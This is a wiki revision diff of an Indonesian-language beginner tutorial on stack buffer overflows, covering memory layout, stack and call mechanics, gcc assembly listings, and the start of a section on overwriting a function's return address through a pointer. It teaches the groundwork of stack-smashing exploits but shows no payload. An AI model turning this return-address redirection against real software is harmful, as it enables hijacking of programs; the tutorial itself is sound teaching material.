Difference between revisions of "Buffer Overflow"

From OnnoWiki
Jump to navigation Jump to search
(New page: 1. Pendahuluan Salah satu jenis vulnerability klasik yang hingga saat ini masih saja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya akan berusaha menjelaskan apa dan bag...)
 
 
(2 intermediate revisions by the same user not shown)
Line 1: Line 1:
1. Pendahuluan
+
==Pendahuluan==
 
   
 
   
Salah satu jenis vulnerability klasik yang hingga saat ini masih
+
Salah satu jenis vulnerability klasik yang hingga saat ini masih
saja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya
+
aja terjadi adalah [[Buffer Overflow]] ([[BO]]). Dalam tulisan ini saya
akan berusaha menjelaskan apa dan bagaimana BO terjadi dengan
+
akan berusaha menjelaskan apa dan bagaimana [[BO]] terjadi dengan
cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target
+
cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target
audiens pemula sekalipun.
+
audiens pemula sekalipun.
 
   
 
   
Prinsip dasar BO sebenarnya sederhana saja yaitu: mengalihkan
+
Prinsip dasar [[BO]] sebenarnya sederhana saja yaitu: mengalihkan
alur program (tentu saja untuk mengarahkannya ke program/code
+
alur program (tentu saja untuk mengarahkannya ke program/code
yang kita buat sendiri :)).
+
yang kita buat sendiri :)).
 
   
 
   
Hal itu bisa terjadi akibat data yang diinputkan oleh user
+
Hal itu bisa terjadi akibat data yang diinputkan oleh user
melebihi kapasitas tampung (buffer) yang disediakan oleh program.
+
melebihi kapasitas tampung ([[buffer]]) yang disediakan oleh program.
Jika program tidak menghandel kejadian ini dengan baik, luapan
+
Jika program tidak menghandel kejadian ini dengan baik, luapan
data tadi akan menimpa bagian-bagian penting lainnya dari
+
data tadi akan menimpa bagian-bagian penting lainnya dari
program.
+
program.
 
   
 
   
Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga
+
Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga
sebenarnya adalah sebuah program yang melakukan apa yang kita
+
sebenarnya adalah sebuah program yang melakukan apa yang kita
inginkan.
+
inginkan.
 
   
 
   
Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu
+
Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu
mengenal bagaimana organisasi memori ketika program berjalan,
+
mengenal bagaimana organisasi memori ketika program berjalan,
terutama bagian STACK yang merupakan target utama exploit BO,
+
terutama bagian STACK yang merupakan target utama exploit BO,
selain itu juga kita perlu mengerti detail mekanisme pemanggilan
+
selain itu juga kita perlu mengerti detail mekanisme pemanggilan
fungsi/procedure dalam C. Pengetahuan tentang assembler dan
+
fungsi/procedure dalam C. Pengetahuan tentang assembler dan
debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi
+
debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi
tenang saja, OK? :).
+
tenang saja, OK? :).
 
   
 
   
 
   
 
   
 
   
 
   
2. Dasar Teori
+
==Dasar Teori==
 
   
 
   
2.1. Memori & addressing
+
===Memori & addressing===
 
   
 
   
Sebenarnya komputer yang kita anggap canggih ini cuma sederetan
+
Sebenarnya komputer yang kita anggap canggih ini cuma sederetan
data (yang disimpan di memori komputer).
+
data (yang disimpan di memori komputer).
 
   
 
   
 
  gambar-2.1a.
 
  gambar-2.1a.
Line 46: Line 46:
 
   Bottom                                                  Top
 
   Bottom                                                  Top
 
   
 
   
Ya, tidak lebih dari itu.
+
Ya, tidak lebih dari itu.
 
   
 
   
Atau begini...
+
Atau begini...
 
   
 
   
 
  gambar-2.1b.
 
  gambar-2.1b.
Line 64: Line 64:
 
   |----| 0000 / Bottom
 
   |----| 0000 / Bottom
 
   
 
   
Setiap byte dari memori itu dinomori, supaya mudah mencarinya
+
Setiap byte dari memori itu dinomori, supaya mudah mencarinya
Begitulah addressing dilakukan, mudah sekali bukan?
+
Begitulah addressing dilakukan, mudah sekali bukan?
 
   
 
   
Setiap byte memori diatas tadi mampu menampung data sebesar...
+
Setiap byte memori diatas tadi mampu menampung data sebesar...
ya 1 byte :). atau disebut juga 1 character, karena kalau kita
+
ya 1 byte :). atau disebut juga 1 character, karena kalau kita
ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan
+
ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan
itu sih sebabnya, tapi anggap saja begitu deh).
+
itu sih sebabnya, tapi anggap saja begitu deh).
 
   
 
   
1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya
+
1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya
diisi berapa. tapi tidak mungkin diluar itu karena kemampuan
+
diisi berapa. tapi tidak mungkin diluar itu karena kemampuan
seorang byte hanyalah segitu.
+
seorang byte hanyalah segitu.
 
   
 
   
sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer.
+
sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer.
masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah,
+
masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah,
kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama
+
kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama
mereka bisa menyatakan 256 nilai yang berbeda. Umumnya
+
mereka bisa menyatakan 256 nilai yang berbeda. Umumnya
dinyatakan dalam bilangan hexa 00 s.d. FF.
+
dinyatakan dalam bilangan hexa 00 s.d. FF.
 
    
 
    
 
  1 word artinya 2 byte. 1 dword = 2 word = 4 byte.
 
  1 word artinya 2 byte. 1 dword = 2 word = 4 byte.
 
   
 
   
Jadi misalnya, kalau kita mengambil data 1 dword dari alamat
+
Jadi misalnya, kalau kita mengambil data 1 dword dari alamat
memori 1000, maka kita akan diberi segumpal data dari 1000, 1001,
+
memori 1000, maka kita akan diberi segumpal data dari 1000, 1001,
1002 dan 1003.
+
1002 dan 1003.
 
   
 
   
Persis seperti peribahasa, bersatu kita teguh, bercerai kawin
+
Persis seperti peribahasa, bersatu kita teguh, bercerai kawin
lagi, kapasitas representasi biner meningkat secara eksponensial
+
lagi, kapasitas representasi biner meningkat secara eksponensial
jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu
+
jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu
menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya
+
menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya
kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on..
+
kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on..
and on..
+
and on..
 
   
 
   
 
   
 
   
2.2. Program Execution
+
===Program Execution===
 
   
 
   
Pada saat program di-load ke memori, susunan bagian-bagiannya
+
Pada saat program di-load ke memori, susunan bagian-bagiannya
adalah seperti gambar dibawah ini, (cat. angka-angka address di
+
adalah seperti gambar dibawah ini, (cat. angka-angka address di
sini hanya untuk keperluan visualisasi saja):
+
sini hanya untuk keperluan visualisasi saja):
 
   
 
   
 
  gambar-2.2.
 
  gambar-2.2.
Line 113: Line 113:
 
   
 
   
 
   
 
   
TEXT/CODE adalah tempat instruksi program berada, bagian ini
+
TEXT/CODE adalah tempat instruksi program berada, bagian ini
umumnya bersifat read-only, setiap usaha untuk merubahnya akan
+
umumnya bersifat read-only, setiap usaha untuk merubahnya akan
berakhir di segmentation violaton.
+
berakhir di segmentation violaton.
 
   
 
   
DATA berisi data konstan, variable statik dll initialized/
+
DATA berisi data konstan, variable statik dll initialized/
uninitialized data, kecuali terjadi stress yang menyebabkan
+
uninitialized data, kecuali terjadi stress yang menyebabkan
reorganisasi memori, ukurannya relatif tetap, meskipun tidak
+
reorganisasi memori, ukurannya relatif tetap, meskipun tidak
read-only seperti bagian TEXT.
+
read-only seperti bagian TEXT.
 
   
 
   
STACK tempat menampung tumpukan data sementara, dengan operasi
+
STACK tempat menampung tumpukan data sementara, dengan operasi
khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP
+
khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP
untuk mengambil data dari atas tumpukan. seperti itulah caranya,
+
untuk mengambil data dari atas tumpukan. seperti itulah caranya,
jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari
+
jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari
tengah.
+
tengah.
 
   
 
   
HEAP adalah daerah memori yang bebas digunakan oleh program.
+
HEAP adalah daerah memori yang bebas digunakan oleh program.
 
   
 
   
 
   
 
   
2.3. Operasi Stack
+
===Operasi Stack===
 
   
 
   
Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau
+
Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau
mengambil tumpukan paling atas dari stack (atau paling bawah
+
mengambil tumpukan paling atas dari stack (atau paling bawah
tergantung bagaimana anda memandangnya :))
+
tergantung bagaimana anda memandangnya :))
 
   
 
   
Cuma 3 register yang terkait erat dalam operasi stack ini yaitu
+
Cuma 3 register yang terkait erat dalam operasi stack ini yaitu
Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP),
+
Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP),
kita tidak usah pedulikan segmen register, itu urusan kernel
+
kita tidak usah pedulikan segmen register, itu urusan kernel
(kecuali kalau kita mau buat program di DOS dengan model
+
(kecuali kalau kita mau buat program di DOS dengan model
segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP .
+
segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP .
keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP
+
keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP
naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah
+
naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah
mau kita isi berapa atau bahkan tidak dipakai sama sekali juga
+
mau kita isi berapa atau bahkan tidak dipakai sama sekali juga
tidak apa-apa.
+
tidak apa-apa.
 +
 
 +
lho jadi apanya yang sulit?
 +
ya tidak ada.
 
   
 
   
lho jadi apanya yang sulit?
+
perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit,
ya tidak ada.
+
atau operasi khusus push all/pop all. SP berkurang/ bertambah
 +
sesuai tipe data ini (sejumlah byte yang diperlukan untuk
 +
menampung data tsb).
 
   
 
   
perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit,
+
push 16bit_data, SP berkurang 2
atau operasi khusus push all/pop all. SP berkurang/ bertambah
+
push 32bit_data, SP berkurang 4
sesuai tipe data ini (sejumlah byte yang diperlukan untuk
+
pusha, SP berkurang 16
menampung data tsb).
+
pushad, SP berkurang 32
 
   
 
   
push 16bit_data, SP berkurang 2
+
misalnya nilai SP pertama adalah 0100,
push 32bit_data, SP berkurang 4
 
pusha, SP berkurang 16
 
pushad, SP berkurang 32
 
 
misalnya nilai SP pertama adalah 0100,
 
 
   
 
   
 
   char C; //character (1 byte)
 
   char C; //character (1 byte)
Line 167: Line 167:
 
   int * P; //pointer (4 byte)
 
   int * P; //pointer (4 byte)
 
   
 
   
lalu kita melakukan perintah sbb:
+
lalu kita melakukan perintah sbb:
 
   
 
   
 
   push C
 
   push C
Line 174: Line 174:
 
   push P
 
   push P
 
   
 
   
maka SP akan menjadi: 100-(2+2+2+4+4) = 88
+
maka SP akan menjadi: 100-(2+2+2+4+4) = 88
 
   
 
   
 
  gambar-2.3a.
 
  gambar-2.3a.
Line 183: Line 183:
 
     //                  |          |
 
     //                  |          |
 
  000                      88          100
 
  000                      88          100
+
 
mestinya begitu :)
+
mestinya begitu :)
tapi atas nama optimasi, tampaknya gcc tidak perduli mau char
+
tapi atas nama optimasi, tampaknya gcc tidak perduli mau char
kek, integer kek atau pointer, semua sama di-push sebagai tipe
+
kek, integer kek atau pointer, semua sama di-push sebagai tipe
data 32bit. untuk kita sih ya oke-oke aja, malah tidak
+
data 32bit. untuk kita sih ya oke-oke aja, malah tidak
repot-repot ngitungnya kan?
+
repot-repot ngitungnya kan?
 
   
 
   
 
  jadi SP = 100 - (4*4) = 84
 
  jadi SP = 100 - (4*4) = 84
Line 201: Line 201:
 
   
 
   
 
   
 
   
2.4. Stack dan Instruction Pointer (IP)
+
===Stack dan Instruction Pointer (IP)===
 
Satu hal yang penting adalah bahwa (operasi) stack juga digunakan
 
untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah
 
bagi program (seperti nomor baris perintah dalam BASIC) coba
 
perhatikan cuplikan kode 'canggih' ini.
 
 
   
 
   
 +
Satu hal yang penting adalah bahwa (operasi) stack juga digunakan
 +
untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah
 +
bagi program (seperti nomor baris perintah dalam BASIC) coba
 +
perhatikan cuplikan kode 'canggih' ini.
 +
 
  IP  CODE
 
  IP  CODE
 
  --- --------
 
  --- --------
Line 217: Line 217:
 
  .
 
  .
 
   
 
   
Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan
+
Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan
menghentikan derita tanpa akhir, endless loop dari GOTO diatas.
+
menghentikan derita tanpa akhir, endless loop dari GOTO diatas.
 
   
 
   
Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup
+
Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup
program, 'cool' kan? :)
+
program, 'cool' kan? :)
 
   
 
   
Kita tidak bisa menyimpan atau mengambil IP langsung dengan
+
Kita tidak bisa menyimpan atau mengambil IP langsung dengan
push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:
+
push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:
 
   
 
   
 
   call func
 
   call func
 
   
 
   
adalah ekuivalen dengan:
+
adalah ekuivalen dengan:
 
   
 
   
 
   PUSH next_IP to STACK
 
   PUSH next_IP to STACK
 
   JMP to address_func
 
   JMP to address_func
 
   
 
   
next_IP tidak lain adalah lokasi selanjutnya (di memori) dari
+
next_IP tidak lain adalah lokasi selanjutnya (di memori) dari
kode instruksi pemanggilan tersebut.
+
kode instruksi pemanggilan tersebut.
 
   
 
   
Sebaliknya instruksi RET akan membuat program menuju alamat yang
+
Sebaliknya instruksi RET akan membuat program menuju alamat yang
disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat
+
disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat
dalam tumpukan stack paling atas).
+
dalam tumpukan stack paling atas).
 
   
 
   
 
   POP STACK to temp
 
   POP STACK to temp
 
   JMP to temp
 
   JMP to temp
 
   
 
   
Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP,
+
Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP,
tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL
+
tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL
FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting
+
FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting
karena biasanya model pemanggilan di UNIX selalu RETF.
+
karena biasanya model pemanggilan di UNIX selalu RETF.
 
   
 
   
Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan
+
Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan
nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia
+
nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia
harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau
+
harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau
tidak nanti bisa digampar kernel, kill(1).
+
tidak nanti bisa digampar kernel, kill(1).
 
   
 
   
 
   
 
   
2.5. Pemanggilan fungsi
+
==Pemanggilan fungsi==
 
   
 
   
Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu
+
Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu
ketika melakukan pemanggilan fungsi yang berkaitan dengan
+
ketika melakukan pemanggilan fungsi yang berkaitan dengan
bagaimana cara High Level Language (HLL, seperti BASIC, C/C++,
+
bagaimana cara High Level Language (HLL, seperti BASIC, C/C++,
Pascal, dll.) mengirmkan parameter/argumen.
+
Pascal, dll.) mengirmkan parameter/argumen.
 
   
 
   
Dalam C/C++ parameter didorong ke dalam stack, mulai dari ujung
+
Dalam C/C++ parameter didorong ke dalam [[stack]], mulai dari ujung
(dari param terakhir sesuai syntax), berturut-turut sampai ke
+
(dari param terakhir sesuai syntax), berturut-turut sampai ke
param pertama), selanjutnya prosedur pemanggil juga bertanggung
+
param pertama), selanjutnya prosedur pemanggil juga bertanggung
jawab untuk meng-offset nilai SP lagi setelah fungsi kembali
+
jawab untuk meng-offset nilai SP lagi setelah fungsi kembali
(sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal
+
(sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal
yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).
+
yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).
 
   
 
   
 
  prototype:
 
  prototype:
Line 284: Line 284:
 
  ; yang akan melakukan penyesuaian ini
 
  ; yang akan melakukan penyesuaian ini
 
   
 
   
Karena optimisasi program, nilai yang ditumpuk ke stack berupa
+
Karena optimisasi program, nilai yang ditumpuk ke stack berupa
kelipatan 16, sehingga transalasinya menjadi:
+
kelipatan 16, sehingga transalasinya menjadi:
 
   
 
   
 
   addl $-4,%esp ; penyesuaian awal, offset penala stack
 
   addl $-4,%esp ; penyesuaian awal, offset penala stack
Line 297: Line 297:
 
   
 
   
 
   
 
   
Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog.
+
Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog.
Sesuai namanya prolog terjadi pada awal fungsi:
+
Sesuai namanya prolog terjadi pada awal fungsi:
 
   
 
   
 
   pushl %ebp ; BP disimpan ke stack
 
   pushl %ebp ; BP disimpan ke stack
 
   movl %esp,%ebp ; BP disamakan nilainya dengan SP
 
   movl %esp,%ebp ; BP disamakan nilainya dengan SP
 
   
 
   
jika terjadi operasi stack, misalnya memanggil fungsi lain yang
+
jika terjadi operasi stack, misalnya memanggil fungsi lain yang
menggunakan parameter, stack alignment 16 dilakukan dengan
+
menggunakan parameter, stack alignment 16 dilakukan dengan
mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call
+
mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call
sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push
+
sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push
BP juga telah mengurangi SP sebesar 4.
+
BP juga telah mengurangi SP sebesar 4.
 
   
 
   
 
   subl 8,%esp ; >prologue_set_stack_ptr
 
   subl 8,%esp ; >prologue_set_stack_ptr
 
   
 
   
dan epilog terjadi di akhir (sebelum instruksi "ret"):
+
dan epilog terjadi di akhir (sebelum instruksi "ret"):
 
   
 
   
 
   movl %ebp,%esp ; SP disamakan nilainya dengan BP  
 
   movl %ebp,%esp ; SP disamakan nilainya dengan BP  
 
   popl %ebp ; Nilai BP diambil dari stack
 
   popl %ebp ; Nilai BP diambil dari stack
 
   
 
   
atau disingkat:
+
atau disingkat:
 
   
 
   
 
   leave ; sama saja dengan gabungan dua instruksi
 
   leave ; sama saja dengan gabungan dua instruksi
Line 323: Line 323:
 
   
 
   
 
   
 
   
3. Aplikasi
+
==Aplikasi==
 
   
 
   
3.1. Studi Program
+
===Studi Program===
 
   
 
   
Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf
+
Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf
saja kalau sedikit berbeda, dengan pengantar yang sudah saya
+
saja kalau sedikit berbeda, dengan pengantar yang sudah saya
jelaskan diatas, mohon disesuaikan sendiri :)
+
jelaskan diatas, mohon disesuaikan sendiri :)
 
   
 
   
pertama kita lihat output dari program sederhana ini
+
pertama kita lihat output dari program sederhana ini
 
   
 
   
 
  contoh0.c
 
  contoh0.c
Line 348: Line 348:
 
  option -dp menambahken keterangan tambahan dalam listing tsb.
 
  option -dp menambahken keterangan tambahan dalam listing tsb.
 
   
 
   
kita lihat listing assembly-nya dari file contoh0.s sbb:
+
kita lihat listing assembly-nya dari file contoh0.s sbb:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
         .file  "contoh0.c.c"
 
         .file  "contoh0.c.c"
Line 379: Line 379:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Dibawah label func0 dan main, kita peroleh hasil yang sama
+
Dibawah label func0 dan main, kita peroleh hasil yang sama
 
   
 
   
 
  prolog:
 
  prolog:
Line 389: Line 389:
 
   ret
 
   ret
 
   
 
   
Program ini memang tidak melakukan apa-apa, cuma untuk
+
Program ini memang tidak melakukan apa-apa, cuma untuk
menunjukkan fungsi prolog dan epilog. program ini juga
+
menunjukkan fungsi prolog dan epilog. program ini juga
menunjukkan bahwa fungsi main() diperlakukan sama saja dengan
+
menunjukkan bahwa fungsi main() diperlakukan sama saja dengan
fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi
+
fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi
pertama yang dipanggil.
+
pertama yang dipanggil.
 
   
 
   
Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak
+
Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak
lebih sederhana seperti format diatas, dan kompilasi dilakukan
+
lebih sederhana seperti format diatas, dan kompilasi dilakukan
tanpa menggunakan option "-dp".
+
tanpa menggunakan option "-dp".
 
   
 
   
jika kita tambahkan result pada fungsi main() tadi sbb:
+
jika kita tambahkan result pada fungsi main() tadi sbb:
 
   
 
   
 
  contoh0.c
 
  contoh0.c
Line 413: Line 413:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
kita lihat dari listing dibawah, ternyata nilai pengembalian akan
+
kita lihat dari listing dibawah, ternyata nilai pengembalian akan
disimpan di register EAX, dan setelah itu fungsi/program akan
+
disimpan di register EAX, dan setelah itu fungsi/program akan
langsung dihentikan/keluar.
+
langsung dihentikan/keluar.
 
   
 
   
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
Line 430: Line 430:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Jika kita tambah beberapa fungsi lain yang menggunakan parameter
+
Jika kita tambah beberapa fungsi lain yang menggunakan parameter
misalnya menjadi seperti contoh1.c dibawah ini:
+
misalnya menjadi seperti contoh1.c dibawah ini:
 
   
 
   
 
  contoh1.c
 
  contoh1.c
Line 467: Line 467:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Ternyata konversi assembly untuk fungsi-fungsi func0 - func3
+
Ternyata konversi assembly untuk fungsi-fungsi func0 - func3
tersebut semua sama saja, hanya berisi prolog dan epilog,
+
tersebut semua sama saja, hanya berisi prolog dan epilog,
tampaknya selama parameter yang dilewatkan bertipe integer 32 bit
+
tampaknya selama parameter yang dilewatkan bertipe integer 32 bit
atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang
+
atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang
dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan
+
dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan
passing pointer.
+
passing pointer.
 
   
 
   
Untuk tipe data char/short, fungsi akan mengalokasikan stack
+
Untuk tipe data char/short, fungsi akan mengalokasikan stack
untuk menampung manipulasi data, sebagaimana variabel lokal, yang
+
untuk menampung manipulasi data, sebagaimana variabel lokal, yang
akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real
+
akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real
dipergunakan juga floating-point stack st0-st7.
+
dipergunakan juga floating-point stack st0-st7.
Silakan buka comment diatas dan lihat sendiri listingnya :).
+
Silakan buka comment diatas dan lihat sendiri listingnya :).
 
   
 
   
Pada fungsi main() mulai terjadi 'silat lidah' antara compiler
+
Pada fungsi main() mulai terjadi 'silat lidah' antara compiler
dengan assembler :),
+
dengan assembler :),
 
   
 
   
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
Line 537: Line 537:
 
   -SP setelah pemanggilan fungsi
 
   -SP setelah pemanggilan fungsi
 
   
 
   
Dari gambaran diatas, untuk ketiga fungsi tsb ternyata
+
Dari gambaran diatas, untuk ketiga fungsi tsb ternyata
pada akhirnya SP bernilai sama.
+
pada akhirnya SP bernilai sama.
 
   
 
   
Dalam contoh selanjutnya kita akan membuat variabel lokal
+
Dalam contoh selanjutnya kita akan membuat variabel lokal
 
   
 
   
 
  contoh2.c
 
  contoh2.c
Line 581: Line 581:
 
  --------------------------------------------------
 
  --------------------------------------------------
 
   
 
   
Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa
+
Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa
pengalokasian stack juga dilakukan dalam alignment 16. listing
+
pengalokasian stack juga dilakukan dalam alignment 16. listing
func1, func2 dan func3 adalah identik sbb:
+
func1, func2 dan func3 adalah identik sbb:
 
   
 
   
 
  func1, func2 & func 3:
 
  func1, func2 & func 3:
Line 591: Line 591:
 
  ; >default 8, +16 = 24
 
  ; >default 8, +16 = 24
 
   
 
   
Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi
+
Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi
sejumlah 1 paragraf sehingga total sub menjadi 40.
+
sejumlah 1 paragraf sehingga total sub menjadi 40.
 
   
 
   
 
  func 4:
 
  func 4:
Line 599: Line 599:
 
   . ; >8 + 16 + 16 = 40
 
   . ; >8 + 16 + 16 = 40
 
   
 
   
Akses terhadap argumen yang diberikan, dapat dilihat
+
Akses terhadap argumen yang diberikan, dapat dilihat
dalam listing func5 sbb:
+
dalam listing func5 sbb:
 
   
 
   
 
  func5:
 
  func5:
Line 620: Line 620:
 
   ret ; >
 
   ret ; >
 
   
 
   
Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan
+
Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan
bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di
+
bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di
bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam
+
bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam
mengalokasikan variabel lokal, dilakukan alignment 4 atau dword,
+
mengalokasikan variabel lokal, dilakukan alignment 4 atau dword,
untuk string yang berisi lebih dari 3 character, sementara yang
+
untuk string yang berisi lebih dari 3 character, sementara yang
isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat
+
isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat
dibawah, buf50 mepet banget sama BP.
+
dibawah, buf50 mepet banget sama BP.
 
   
 
   
 
  gambar-3.1b.
 
  gambar-3.1b.
Line 645: Line 645:
 
   RET: Return Address
 
   RET: Return Address
 
   
 
   
Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/
+
Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/
parameter adalah di sebelah kanan BP, jadi diakses dengan offset
+
parameter adalah di sebelah kanan BP, jadi diakses dengan offset
positif terhadap BP, sebaliknya dengan variabel lokal.
+
positif terhadap BP, sebaliknya dengan variabel lokal.
+
 
Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti
+
Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti
tentang hal itu? Hm.. enggak ada ya :(
+
tentang hal itu? Hm.. enggak ada ya :(
 
 
3.2. Mengalihkan Return Address
 
 
Mumpung masih hangat, mari kita coba membuat sebuah contoh
 
bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu
 
TK hai tukang kayu), maksud saya adalah mengalihkan alur program
 
dengan cara merubah nilai return address yang tersimpan di stack.
 
Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas
 
tadi (bedanya cuma 1).
 
 
   
 
   
Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk
 
mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya
 
saudara-saudara... adalah...: Return Adress!!!
 
 
   
 
   
Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan
+
===Mengalihkan Return Address===
sebuah pointer agar nanti bisa kita rubah seenak udel kita.
+
 
 +
Mumpung masih hangat, mari kita coba membuat sebuah contoh
 +
bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu
 +
TK hai tukang kayu), maksud saya adalah mengalihkan alur program
 +
dengan cara merubah nilai return address yang tersimpan di stack.
 +
Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas
 +
tadi (bedanya cuma 1).
 +
 
 +
Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk
 +
mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya
 +
saudara-saudara... adalah...: Return Adress!!!
 +
 
 +
Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan
 +
sebuah pointer agar nanti bisa kita rubah seenak udel kita.
 
   
 
   
kira-kira nanti begini:
+
kira-kira nanti begini:
 
   
 
   
 
   char buf0[1];
 
   char buf0[1];
Line 676: Line 676:
 
   int * ret;
 
   int * ret;
 
   
 
   
kemudian kita arahkan ret ke return address: tolong harap diingat
+
kemudian kita arahkan ret ke return address: tolong harap diingat
bahwa penambahan di bawah ini adalah untuk pointer ke character /
+
bahwa penambahan di bawah ini adalah untuk pointer ke character /
1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya,
+
1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya,
untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan
+
untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan
menggeser pointer sebanyak 4 byte / lokasi address.
+
menggeser pointer sebanyak 4 byte / lokasi address.
+
 
 
   ret = buf0 +1 +4;
 
   ret = buf0 +1 +4;
 
   
 
   
atau kalo gcc rewel, bisa kita cast sebagai:
+
atau kalo gcc rewel, bisa kita cast sebagai:
 
   
 
   
